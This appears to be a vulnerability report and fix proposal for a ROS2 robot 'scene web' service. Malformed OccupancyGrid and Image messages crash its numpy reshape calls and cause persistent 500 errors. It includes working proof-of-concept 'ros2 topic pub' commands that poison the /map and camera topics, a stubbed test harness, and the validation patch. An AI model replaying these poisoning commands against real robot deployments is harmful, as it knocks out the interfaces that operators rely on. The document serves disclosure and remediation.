fix(scene/web): Validate upstream message structure consistency to prevent malformed OccupancyGrid/Image from causing interface-level denial of service
Overview
scene web reads upstream ROS2 messages and renders them on the web page by directly calling np.frombuffer(...).reshape(h, w) on msg.data without validating that the data length matches width * height. An attacker only needs to publish a structurally inconsistent but type-valid message to ROS2 topics such as /map, causing GET /api/state and GET /api/camera to consistently return 500 Internal Server Error, resulting in an interface-level denial of service.
1. Precise Sink Point Localisation
1.1 OccupancyGrid sink
File: web.py
arr = np.frombuffer(bytes(msg.data), dtype=np.int8).reshape(h, w)
- Triggering route:
GET /api/state → _state_payload() → _occupancy_payload(hub)
- Data source:
hub.latest("occupancy_grid") → _LatestSlot._msg (stores original nav_msgs/msg/OccupancyGrid)
- Crash condition:
len(msg.data) != info.width * info.height
- Exception type:
ValueError: cannot reshape array of size N into shape (h, w)
Call chain:
GET /api/state (route, L479)
→ _state_payload(registry, hub, sg_store) (L373)
→ _occupancy_payload(hub) (L429)
→ hub.latest("occupancy_grid") (L236) ← retrieve malformed message
→ np.frombuffer(...).reshape(h, w) (L254) ← SINK: raises ValueError
1.2 RGB Image sinks
File: web.py
| Line |
encoding |
target shape for reshape |
required data length |
| L297 |
rgb8 |
(h, w, 3) |
h * w * 3 |
| L299 |
bgr8 |
(h, w, 3) |
h * w * 3 |
| L301 |
rgba8 |
(h, w, 4) |
h * w * 4 |
| L304 |
bgra8 |
(h, w, 4) |
h * w * 4 |
| L306 |
mono8 |
(h, w) |
h * w |
- Triggering route:
GET /api/camera → _camera_payload(hub) → _image_to_png_b64(msg, kind="rgb")
- Data source:
hub.latest("rgb") → _LatestSlot._msg (stores original sensor_msgs/msg/Image)
- Crash condition:
len(msg.data) != h * w * channels
1.3 Depth Image sinks
File: web.py
| Line |
encoding |
dtype |
target shape for reshape |
required data length |
| L312 |
32fc1 / 32FC1 |
np.float32 |
(h, w) |
h * w * 4 bytes |
| L315 |
16uc1 / 16UC1 |
np.uint16 |
(h, w) |
h * w * 2 bytes |
- Triggering route:
GET /api/camera → _camera_payload(hub) → _image_to_png_b64(msg, kind="depth")
- Data source:
hub.latest("depth") → _LatestSlot._msg
2. Data Flow and Contamination Path
2.1 Path for messages entering the hub
ROS2 Publisher (attacker or faulty node)
→ /map topic
→ SubscribersHub._subscribe() creates subscription
→ rclpy callback _cb(msg) [ros_subscribers.py:289]
→ _LatestSlot.write(msg) [ros_subscribers.py:97]
→ _LatestSlot._msg = msg ← malformed message is stored as‑is, no validation
Key code — ros_subscribers.py:
def _cb(msg: Any, _slot: _LatestSlot = slot, _k: str = _kind) -> None:
_slot.write(msg) # ← no validation, stores directly
Key code — ros_subscribers.py:
def write(self, msg: Any) -> None:
with self._lock:
self._msg = msg # ← stored without checking structure
self._stamp_unix = time.time()
self._count += 1
2.2 Web route reading from hub
HTTP GET /api/state
→ Starlette route handler (web.py:479)
→ _state_payload(registry, hub, sg_store) (web.py:373)
→ _occupancy_payload(hub) (web.py:229)
→ hub.latest("occupancy_grid") (web.py:236) ← retrieve malformed msg
→ np.frombuffer(bytes(msg.data), ...).reshape(h, w) ← SINK: ValueError
→ Exception uncaught, Starlette returns 500
2.3 State persistence
Because _LatestSlot keeps only the latest message, and /map uses TRANSIENT_LOCAL QoS:
- Even if the malformed publisher stops,
scene internally retains the last malformed message.
- The latching semantics of
TRANSIENT_LOCAL mean that new subscribers may also receive this malformed message.
- The interface only recovers when a new valid message overwrites
slot._msg.
This gives the vulnerability a persistent denial-of-service characteristic.
3. Full Proof of Concept
3.1 Deployment‑level PoC (validated on a real Robonix deployment)
Environment:
- Simulation container:
robonix_tiago_sim
scene web listening on: http://127.0.0.1:50107/
- Map topic:
/map (nav_msgs/msg/OccupancyGrid)
- RGB topic:
/head_front_camera/rgb/image_raw (sensor_msgs/msg/Image)
Step 1 — Baseline verification:
# All interfaces work normally in clean state
curl --noproxy '*' -i http://127.0.0.1:50107/
curl --noproxy '*' -i http://127.0.0.1:50107/api/state
curl --noproxy '*' -i http://127.0.0.1:50107/api/camera
# Expected: all 200 OK
Step 2 — Poison /map (triggers /api/state failure):
# Terminal A: publish malformed OccupancyGrid to real /map topic
# width=4, height=4 but data has only 3 elements
docker exec robonix_tiago_sim bash -lc \
'source /opt/ros/humble/setup.bash && \
ros2 topic pub -r 5 /map nav_msgs/msg/OccupancyGrid \
"{header: {frame_id: map}, info: {resolution: 0.05, width: 4, height: 4, origin: {position: {x: 0.0, y: 0.0, z: 0.0}, orientation: {w: 1.0}}}, data: [0, 0, 0]}"'
# Terminal B: send ordinary HTTP request within contamination window
curl --noproxy '*' -i http://127.0.0.1:50107/api/state
Expected result:
HTTP/1.1 500 Internal Server Error
scene logs also show:
File "/scene/scene_service/web.py", line 254, in _occupancy_payload
arr = np.frombuffer(bytes(msg.data), dtype=np.int8).reshape(h, w)
ValueError: cannot reshape array of size 3 into shape (4,4)
Step 3 — Poison RGB topic (triggers /api/camera failure):
# Terminal A: publish malformed Image to real RGB topic
# width=10, height=10, encoding=rgb8 but data only 20 bytes (should be 300)
docker exec robonix_tiago_sim bash -lc "
source /opt/ros/humble/setup.bash
export RMW_IMPLEMENTATION=rmw_zenoh_cpp
timeout 8s ros2 topic pub -r 10 /head_front_camera/rgb/image_raw sensor_msgs/msg/Image \
'{
header: {frame_id: head_front_camera_rgb_optical_frame},
height: 10,
width: 10,
encoding: rgb8,
is_bigendian: 0,
step: 30,
data: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
}'
"
# Terminal B: send ordinary HTTP request
curl --noproxy '*' -i http://127.0.0.1:50107/api/camera
Expected result:
HTTP/1.1 500 Internal Server Error
Logs:
ValueError: cannot reshape array of size 20 into shape (10,10,3)
3.2 Component‑level PoC
"""Component‑level PoC: demonstrate the inherent flaw in web.py.
Load the real web.py, replace external dependencies with stubs,
inject malformed messages into the hub in‑process, then send ordinary HTTP requests."""
import asyncio
import httpx
import uvicorn
from types import SimpleNamespace
# --- stub external dependencies ---
import sys
# stub robonix_api and scene_service.state
class _StubRegistry:
_objects = {}
_surfaces = {}
class _StubHub:
"""Mock SubscribersHub that can inject malformed messages."""
def __init__(self):
self._slots = {}
def inject(self, kind, msg):
self._slots[kind] = (msg, 1700000000.0, 1)
def has(self, kind):
return kind in self._slots
def latest(self, kind):
return self._slots.get(kind, (None, 0.0, 0))
# stub modules
stub_state = SimpleNamespace(ObjectRegistry=_StubRegistry)
sys.modules['scene_service'] = SimpleNamespace()
sys.modules['scene_service.state'] = stub_state
# --- load real web.py ---
from scene_service.web import make_app, _StubRegistry # may differ by layout
# Construct malformed OccupancyGrid
malformed_grid = SimpleNamespace(
info=SimpleNamespace(
width=4, height=4,
resolution=0.05,
origin=SimpleNamespace(
position=SimpleNamespace(x=0.0, y=0.0, z=0.0),
),
),
data=[0, 0, 0], # only 3 elements, should be 4*4=16
)
# Construct malformed RGB Image
malformed_rgb = SimpleNamespace(
height=10, width=10,
encoding="rgb8",
data=bytes(20), # only 20 bytes, should be 10*10*3=300
header=SimpleNamespace(
stamp=SimpleNamespace(sec=0, nanosec=0)
),
)
hub = _StubHub()
registry = _StubRegistry()
# Inject malformed messages
hub.inject("occupancy_grid", malformed_grid)
hub.inject("rgb", malformed_rgb)
app = make_app(registry=registry, hub=hub)
config = uvicorn.Config(app, host="127.0.0.1", port=18099, log_level="warning")
server = uvicorn.Server(config)
async def run_test():
"""Start server and send HTTP requests."""
import threading
t = threading.Thread(target=server.run, daemon=True)
t.start()
await asyncio.sleep(1.0)
async with httpx.AsyncClient() as client:
# / should be normal
r = await client.get("http://127.0.0.1:18099/")
print(f"GET / status={r.status_code}")
# /api/state should be 500 (malformed occupancy grid)
r = await client.get("http://127.0.0.1:18099/api/state")
print(f"GET /api/state status={r.status_code}")
# /api/camera should be 500 (malformed rgb image)
r = await client.get("http://127.0.0.1:18099/api/camera")
print(f"GET /api/camera status={r.status_code}")
asyncio.run(run_test())
# Expected output:
# GET / status=200
# GET /api/state status=500
# GET /api/camera status=500
4. Fix Proposal
4.1 Design Principles
- Validation at entry: Validate
data length consistency with metadata before reshape.
- Graceful degradation: On validation failure, return
None (skip rendering) rather than raising an exception up to the route layer.
- Route‑level fallback: Add
try/except at the route layer to ensure any unexpected exception returns a structured error instead of a raw 500.
4.2 Specific Code Changes
4.2.1 Add validation helper functions
Insert before _shorten_id at web.py:
def _check_grid_consistency(msg: Any, w: int, h: int) -> bool:
"""Verify OccupancyGrid data length matches width*height."""
expected = w * h
actual = len(msg.data)
if actual != expected:
log.warning(
"[web] occupancy: data length %d != width*height %d*%d=%d; "
"skipping render",
actual, w, h, expected,
)
return False
return True
def _check_image_consistency(msg: Any, w: int, h: int, channels: int) -> bool:
"""Verify Image data byte length matches width*height*channels."""
expected = w * h * channels
actual = len(msg.data)
if actual != expected:
log.warning(
"[web] image(%s): data length %d != %dx%dx%d=%d; "
"skipping render",
msg.encoding, actual, w, h, channels, expected,
)
return False
return True
4.2.2 Fix _occupancy_payload
At web.py:248-254, replace:
info = msg.info
w, h = int(info.width), int(info.height)
if w == 0 or h == 0:
return None
# nav_msgs/OccupancyGrid data is row-major bottom-up int8 in
# [-1, 100]: -1 unknown, 0 free, 100 occupied. Render as grayscale:
# unknown=128 (mid), free=240 (almost white), occupied=20 (almost black).
arr = np.frombuffer(bytes(msg.data), dtype=np.int8).reshape(h, w)
with:
info = msg.info
w, h = int(info.width), int(info.height)
if w == 0 or h == 0:
return None
if not _check_grid_consistency(msg, w, h):
return None
# nav_msgs/OccupancyGrid data is row-major bottom-up int8 in
# [-1, 100]: -1 unknown, 0 free, 100 occupied. Render as grayscale:
# unknown=128 (mid), free=240 (almost white), occupied=20 (almost black).
arr = np.frombuffer(bytes(msg.data), dtype=np.int8).reshape(h, w)
4.2.3 Fix _image_to_png_b64
At web.py:289-317, for each encoding branch add a channel count and validation.
Replace:
h, w = int(msg.height), int(msg.width)
if h == 0 or w == 0:
return None
enc = (msg.encoding or "").lower()
arr: Any = None
out_mode = "RGB"
if kind == "rgb":
if enc == "rgb8":
arr = np.frombuffer(bytes(msg.data), dtype=np.uint8).reshape(h, w, 3)
elif enc == "bgr8":
arr = np.frombuffer(bytes(msg.data), dtype=np.uint8).reshape(h, w, 3)[:, :, ::-1]
elif enc == "rgba8":
arr = np.frombuffer(bytes(msg.data), dtype=np.uint8).reshape(h, w, 4)[:, :, :3]
elif enc == "bgra8":
arr = np.frombuffer(bytes(msg.data), dtype=np.uint8).reshape(h, w, 4)[:, :, :3][:, :, ::-1]
elif enc == "mono8":
arr = np.frombuffer(bytes(msg.data), dtype=np.uint8).reshape(h, w)
out_mode = "L"
else:
return None
else: # depth
if enc in ("32fc1", "32FC1"):
raw = np.frombuffer(bytes(msg.data), dtype=np.float32).reshape(h, w)
elif enc in ("16uc1", "16UC1"):
raw = np.frombuffer(bytes(msg.data), dtype=np.uint16).reshape(h, w).astype(np.float32) / 1000.0
else:
return None
with:
h, w = int(msg.height), int(msg.width)
if h == 0 or w == 0:
return None
enc = (msg.encoding or "").lower()
arr: Any = None
out_mode = "RGB"
if kind == "rgb":
if enc == "rgb8":
if not _check_image_consistency(msg, w, h, 3): return None
arr = np.frombuffer(bytes(msg.data), dtype=np.uint8).reshape(h, w, 3)
elif enc == "bgr8":
if not _check_image_consistency(msg, w, h, 3): return None
arr = np.frombuffer(bytes(msg.data), dtype=np.uint8).reshape(h, w, 3)[:, :, ::-1]
elif enc == "rgba8":
if not _check_image_consistency(msg, w, h, 4): return None
arr = np.frombuffer(bytes(msg.data), dtype=np.uint8).reshape(h, w, 4)[:, :, :3]
elif enc == "bgra8":
if not _check_image_consistency(msg, w, h, 4): return None
arr = np.frombuffer(bytes(msg.data), dtype=np.uint8).reshape(h, w, 4)[:, :, :3][:, :, ::-1]
elif enc == "mono8":
if not _check_image_consistency(msg, w, h, 1): return None
arr = np.frombuffer(bytes(msg.data), dtype=np.uint8).reshape(h, w)
out_mode = "L"
else:
return None
else: # depth
if enc in ("32fc1", "32fc1"):
if not _check_image_consistency(msg, w, h, 4): return None
raw = np.frombuffer(bytes(msg.data), dtype=np.float32).reshape(h, w)
elif enc in ("16uc1", "16UC1"):
if not _check_image_consistency(msg, w, h, 2): return None
raw = np.frombuffer(bytes(msg.data), dtype=np.uint16).reshape(h, w).astype(np.float32) / 1000.0
else:
return None
4.2.4 Add exception fallback at route layer
At web.py:479-480 and web.py:493-494, replace:
async def state(_request) -> JSONResponse:
return JSONResponse(_state_payload(registry, hub, sg_store))
...
async def camera_state(_request) -> JSONResponse:
return JSONResponse(_camera_payload(hub))
with:
async def state(_request) -> JSONResponse:
try:
return JSONResponse(_state_payload(registry, hub, sg_store))
except Exception:
log.exception("[web] /api/state failed")
return JSONResponse({"error": "internal_error"}, status_code=500)
...
async def camera_state(_request) -> JSONResponse:
try:
return JSONResponse(_camera_payload(hub))
except Exception:
log.exception("[web] /api/camera failed")
return JSONResponse({"error": "internal_error"}, status_code=500)
4.3 Summary of Changes
| File |
Location |
Change |
web.py |
before L216 |
Add _check_grid_consistency + _check_image_consistency helper functions |
web.py |
L248-254 |
_occupancy_payload: call _check_grid_consistency before reshape |
web.py |
L289-317 |
_image_to_png_b64: add channel‑based validation for each encoding branch |
web.py |
L479-480 |
state route: add try/except fallback |
web.py |
L493-494 |
camera_state route: add try/except fallback |
4.4 Behaviour After Fix
| Scenario |
Before Fix |
After Fix |
| Malformed OccupancyGrid in hub |
GET /api/state → 500 |
GET /api/state → 200, occupancy: null (warning logged) |
| Malformed RGB Image in hub |
GET /api/camera → 500 |
GET /api/camera → 200, rgb: null (warning logged) |
| Valid message in hub |
GET /api/state → 200 |
GET /api/state → 200 (no change) |
| Other unexpected exception |
500 + raw stack trace |
500 + {"error": "internal_error"} + full stack trace logged |
5. Impact Assessment
- Vulnerability type: Input consistency validation missing / interface‑level denial of service
- Attack surface: Any entity that can publish messages to ROS2 topics subscribed by
scene
- Ease of exploitation: Low — a single
ros2 topic pub command is sufficient
- Impact scope:
/api/state and /api/camera endpoints persistently return 500
- Recovery cost: Requires a new valid message to overwrite the slot, or restart of the
scene service
- CVSS assessment: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L → Medium (3.7)
6. Verification Commands
# 1. Verify that after the fix the endpoints work normally in a clean state
curl --noproxy '*' -i http://127.0.0.1:50107/api/state
# Expected: 200
# 2. Verify that malformed messages no longer cause a 500
docker exec robonix_tiago_sim bash -lc \
'source /opt/ros/humble/setup.bash && \
ros2 topic pub --once /map nav_msgs/msg/OccupancyGrid \
"{header: {frame_id: map}, info: {resolution: 0.05, width: 4, height: 4, origin: {position: {x: 0.0, y: 0.0, z: 0.0}, orientation: {w: 1.0}}}, data: [0, 0, 0]}"'
curl --noproxy '*' -i http://127.0.0.1:50107/api/state
# Expected: 200, occupancy field should be null
# 3. Verify that a warning appears in the logs
rbnx logs -t scene | grep "data length"
# Expected: [web] occupancy: data length 3 != width*height 4*4=16; skipping render
fix(scene/web): Validate upstream message structure consistency to prevent malformed OccupancyGrid/Image from causing interface-level denial of service
Overview
scene webreads upstream ROS2 messages and renders them on the web page by directly callingnp.frombuffer(...).reshape(h, w)onmsg.datawithout validating that thedatalength matcheswidth * height. An attacker only needs to publish a structurally inconsistent but type-valid message to ROS2 topics such as/map, causingGET /api/stateandGET /api/camerato consistently return500 Internal Server Error, resulting in an interface-level denial of service.1. Precise Sink Point Localisation
1.1 OccupancyGrid sink
File: web.py
GET /api/state→_state_payload()→_occupancy_payload(hub)hub.latest("occupancy_grid")→_LatestSlot._msg(stores originalnav_msgs/msg/OccupancyGrid)len(msg.data) != info.width * info.heightValueError: cannot reshape array of size N into shape (h, w)Call chain:
1.2 RGB Image sinks
File: web.py
rgb8(h, w, 3)h * w * 3bgr8(h, w, 3)h * w * 3rgba8(h, w, 4)h * w * 4bgra8(h, w, 4)h * w * 4mono8(h, w)h * wGET /api/camera→_camera_payload(hub)→_image_to_png_b64(msg, kind="rgb")hub.latest("rgb")→_LatestSlot._msg(stores originalsensor_msgs/msg/Image)len(msg.data) != h * w * channels1.3 Depth Image sinks
File: web.py
32fc1/32FC1np.float32(h, w)h * w * 4bytes16uc1/16UC1np.uint16(h, w)h * w * 2bytesGET /api/camera→_camera_payload(hub)→_image_to_png_b64(msg, kind="depth")hub.latest("depth")→_LatestSlot._msg2. Data Flow and Contamination Path
2.1 Path for messages entering the hub
Key code — ros_subscribers.py:
Key code — ros_subscribers.py:
2.2 Web route reading from hub
2.3 State persistence
Because
_LatestSlotkeeps only the latest message, and/mapusesTRANSIENT_LOCALQoS:sceneinternally retains the last malformed message.TRANSIENT_LOCALmean that new subscribers may also receive this malformed message.slot._msg.This gives the vulnerability a persistent denial-of-service characteristic.
3. Full Proof of Concept
3.1 Deployment‑level PoC (validated on a real Robonix deployment)
Environment:
robonix_tiago_simscene weblistening on:http://127.0.0.1:50107//map(nav_msgs/msg/OccupancyGrid)/head_front_camera/rgb/image_raw(sensor_msgs/msg/Image)Step 1 — Baseline verification:
Step 2 — Poison /map (triggers /api/state failure):
Expected result:
scenelogs also show:Step 3 — Poison RGB topic (triggers /api/camera failure):
Expected result:
Logs:
3.2 Component‑level PoC
4. Fix Proposal
4.1 Design Principles
datalength consistency with metadata beforereshape.None(skip rendering) rather than raising an exception up to the route layer.try/exceptat the route layer to ensure any unexpected exception returns a structured error instead of a raw 500.4.2 Specific Code Changes
4.2.1 Add validation helper functions
Insert before
_shorten_idat web.py:4.2.2 Fix
_occupancy_payloadAt web.py:248-254, replace:
with:
4.2.3 Fix
_image_to_png_b64At web.py:289-317, for each encoding branch add a channel count and validation.
Replace:
with:
4.2.4 Add exception fallback at route layer
At web.py:479-480 and web.py:493-494, replace:
with:
4.3 Summary of Changes
web.py_check_grid_consistency+_check_image_consistencyhelper functionsweb.py_occupancy_payload: call_check_grid_consistencybefore reshapeweb.py_image_to_png_b64: add channel‑based validation for each encoding branchweb.pystateroute: add try/except fallbackweb.pycamera_stateroute: add try/except fallback4.4 Behaviour After Fix
GET /api/state→ 500GET /api/state→ 200,occupancy: null(warning logged)GET /api/camera→ 500GET /api/camera→ 200,rgb: null(warning logged)GET /api/state→ 200GET /api/state→ 200 (no change){"error": "internal_error"}+ full stack trace logged5. Impact Assessment
sceneros2 topic pubcommand is sufficient/api/stateand/api/cameraendpoints persistently return 500sceneservice6. Verification Commands